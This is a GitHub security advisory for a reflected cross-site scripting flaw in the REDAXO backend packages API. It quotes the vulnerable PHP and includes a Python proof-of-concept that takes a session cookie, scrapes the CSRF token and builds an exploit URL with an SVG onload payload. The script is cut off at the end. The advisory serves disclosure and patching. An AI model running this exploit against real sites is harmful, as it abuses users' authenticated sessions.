GitHub Security Advisory: GHSA-xq4j-g85q-wf97
Package: redaxo/source (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 5.21.0
Patched in: 5.21.0

Summary: REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)

Details:
### Summary

A **reflected XSS** vulnerability has been identified in the REDAXO backend. The `function` parameter is concatenated into an API error message and rendered without HTML escaping.

---

### Details

**Root cause**
User input `function` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.

**Vulnerable code (`redaxo/src/core/lib/packages/api_package.php`) :**

```php
$function = rex_request('function', 'string');
throw new rex_api_exception('Unknown package function "' . $function . '"!');
```

**Sink (`redaxo/src/core/lib/view.php`) :**

```php
return '<div class="' . $cssClassMessage . '">' . $message . '</div>';
```

**Source -> sink flow**

* Source: `function` (GET)
* Propagation: concatenated into the exception message
* Sink: rendered via `rex_view::error()` -> `rex_view::message()` without escaping

**Authentication required:** yes (backend session)

---

### PoC - Exploit

```python
#!/usr/bin/env python3
import re
import urllib.parse
import requests

TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"

# A valid backend PHP session id (must belong to a user who can access the Packages page)
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx

https://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598

"

VERIFY_SSL = False
TIMEOUT = 15

PAYLOAD = '\\"><svg/onload=alert("Pwned")>'

def build_backend_url() -> str:
    base = TARGET_URL.rstrip('/')
    return f"{base}/{BACKEND_PATH.lstrip('/')}"


def extract_api_csrf(html_text: str) -> str:
    m = re.search(r'rex-api-call=package[^\"]+_csrf_token=([^&\"\s]+)', html_text)
    if not m:
        raise RuntimeError("CSRF token for rex_api_call=package was not found in the page HTML.")
    return m.group(1)

def set_session_cookie(session: requests.Session) -> None:
    parsed = urllib.parse.urlparse(TARGET_URL)
    if parsed.hostname:
        session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")


def main() -> None:
    backend_url = build_backend_url()

    s = requests.Session()
    set_session_cookie(s)

    # Backend session required (role with access to packages)
    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
    if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
        print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
        return

    r = s.get(backend_url, params={"page": "packages"}, timeout=TIMEOUT, verify=VERIFY_SSL)
    if r.status_code != 200:
        print(f"[!] Failed to access packages page (HTTP {r.status_code}).")
        return

    api_token = extract_api_csrf(r.text)

    params = {
        "page": "packages",
        "rex-api-call": "package",
        "function": PAYLOAD,
        "package": "nonexistent",
        "_csrf_token": api_token,
    }

    exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
    print(exploit_url)


if __name__ == "__main